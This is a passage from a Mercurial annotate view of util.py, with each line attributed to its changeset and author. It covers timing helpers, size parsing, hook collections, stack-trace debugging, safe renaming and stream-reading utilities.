687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3313 (100, 0.000001, _(b'%.1f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3314 (10, 0.000001, _(b'%.2f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3315 (1, 0.000001, _(b'%.3f us')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3316 (100, 0.000000001, _(b'%.1f ns')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3317 (10, 0.000000001, _(b'%.2f ns')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3318 (1, 0.000000001, _(b'%.3f ns')),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3319 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3320
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3321
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3322 @attr.s
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3323 class timedcmstats(object):
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3324 """Stats information produced by the timedcm context manager on entering."""
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3325
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3326 # the starting value of the timer as a float (meaning and resulution is
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3327 # platform dependent, see util.timer)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3328 start = attr.ib(default=attr.Factory(lambda: timer()))
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3329 # the number of seconds as a floating point value; starts at 0, updated when
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3330 # the context is exited.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3331 elapsed = attr.ib(default=0)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3332 # the number of nested timedcm context managers.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3333 level = attr.ib(default=1)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3334
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3335 def __bytes__(self):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3336 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3337
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3338 __str__ = encoding.strmethod(__bytes__)
9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3339
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3340
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3341 @contextlib.contextmanager
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	3342 def timedcm(whencefmt, *whenceargs):
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3343 """A context manager that produces timing information for a given context.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3344
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3345 On entering a timedcmstats instance is produced.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3346
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3347 This context manager is reentrant.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3348
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3349 """
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3350 # track nested context managers
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3351 timedcm._nested += 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3352 timing_stats = timedcmstats(level=timedcm._nested)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3353 try:
39285 497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	3354 with tracing.log(whencefmt, *whenceargs):
497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	3355 yield timing_stats
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3356 finally:
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3357 timing_stats.elapsed = timer() - timing_stats.start
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3358 timedcm._nested -= 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3359
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3360
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3361 timedcm._nested = 0
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3362
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3363
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3364 def timed(func):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3365 '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3366
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3367 During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3368 the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3369
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3370 @util.timed
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3371 def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3372 pass
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3373 '''
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3374
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3375 def wrapper(args, *kwargs):
39286 331ab85e910b cleanup: make all uses of timedcm specify what they're timing Augie Fackler <augie@google.com> parents: 39285 diff changeset	3376 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3377 result = func(args, *kwargs)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3378 stderr = procutil.stderr
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3379 stderr.write(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3380 b'%s%s: %s\n'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3381 % (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3382 b' ' * time_stats.level * 2,
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3383 pycompat.bytestr(func.__name__),
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3384 time_stats,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3385 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3386 )
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3387 return result
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3388
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3389 return wrapper
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3390
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3391
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3392 _sizeunits = (
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3393 (b'm', 2 ** 20),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3394 (b'k', 2 ** 10),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3395 (b'g', 2 ** 30),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3396 (b'kb', 2 ** 10),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3397 (b'mb', 2 ** 20),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3398 (b'gb', 2 ** 30),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3399 (b'b', 1),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3400 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3401
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3402
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3403 def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3404 '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3405
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3406 >>> sizetoint(b'30')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3407 30
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3408 >>> sizetoint(b'2.2kb')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3409 2252
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	3410 >>> sizetoint(b'6M')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3411 6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3412 '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3413 t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3414 try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3415 for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3416 if t.endswith(k):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3417 return int(float(t[: -len(k)]) * u)
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3418 return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	3419 except ValueError:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3420 raise error.ParseError(_(b"couldn't parse size: %s") % s)
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3421
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3422
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3423 class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3424 '''A collection of hook functions that can be used to extend a
26098 ce26928cbe41 spelling: behaviour -> behavior timeless@mozdev.org parents: 25672 diff changeset	3425 function's behavior. Hooks are called in lexicographic order,
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3426 based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3427
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3428 def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3429 self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3430
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3431 def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3432 self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3433
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3434 def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3435 self._hooks.sort(key=lambda x: x[0])
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3436 results = []
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	3437 for source, hook in self._hooks:
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3438 results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	3439 return results
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3440
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3441
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3442 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3443 '''Yields lines for a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3444 Skips the 'skip' last entries, then return the last 'depth' entries.
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3445 Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3446 Each line is formatted according to line.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3447 If line is None, it yields:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3448 length of longest filepath+line number,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3449 filepath+linenumber,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3450 function
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3451
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3452 Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3453 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3454 entries = [
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3455 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3456 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3457 ][-depth:]
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3458 if entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3459 fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3460 for fnln, func in entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3461 if line is None:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3462 yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3463 else:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3464 yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3465
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3466
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3467 def debugstacktrace(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3468 msg=b'stacktrace',
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3469 skip=0,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3470 f=procutil.stderr,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3471 otherf=procutil.stdout,
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3472 depth=0,
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3473 ):
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3474 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3475 Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3476 By default it will flush stdout first.
28496 b592564a803c util: reword debugstacktrace comment timeless <timeless@mozdev.org> parents: 28027 diff changeset	3477 It can be used everywhere and intentionally does not require an ui object.
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3478 Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3479 '''
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3480 if otherf:
be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3481 otherf.flush()
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3482 f.write(b'%s at:\n' % msg.rstrip())
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3483 for line in getstackframes(skip + 1, depth=depth):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3484 f.write(line)
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3485 f.flush()
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3486
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3487
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3488 # convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3489 dst = debugstacktrace
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3490
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3491
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3492 def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3493 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3494 Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3495
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3496 f: filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3497 tag: a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3498 ctx: a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3499 others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3500
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3501 Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3502 in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3503 """
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3504 if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3505 others = set()
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3506
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3507 fn = b'%s~%s' % (f, tag)
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3508 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3509 return fn
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3510 for n in itertools.count(1):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	3511 fn = b'%s~%s~%s' % (f, tag, n)
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3512 if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	3513 return fn
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3514
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3515
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3516 def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3517 '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3518 s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3519 if len(s) < n:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3520 raise error.Abort(
43117 8ff1ecfadcd1 cleanup: join string literals that are already on one line Martin von Zweigbergk <martinvonz@google.com> parents: 43106 diff changeset	3521 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3522 % (len(s), n)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3523 )
35754 fb0be099063f util: move 'readexactly' in the util module Boris Feld <boris.feld@octobus.net> parents: 35582 diff changeset	3524 return s
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3525
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3526
35755 2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3527 def uvarintencode(value):
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3528 """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions Gregory Szorc <gregory.szorc@gmail.com> parents: 35754 diff changeset	3529
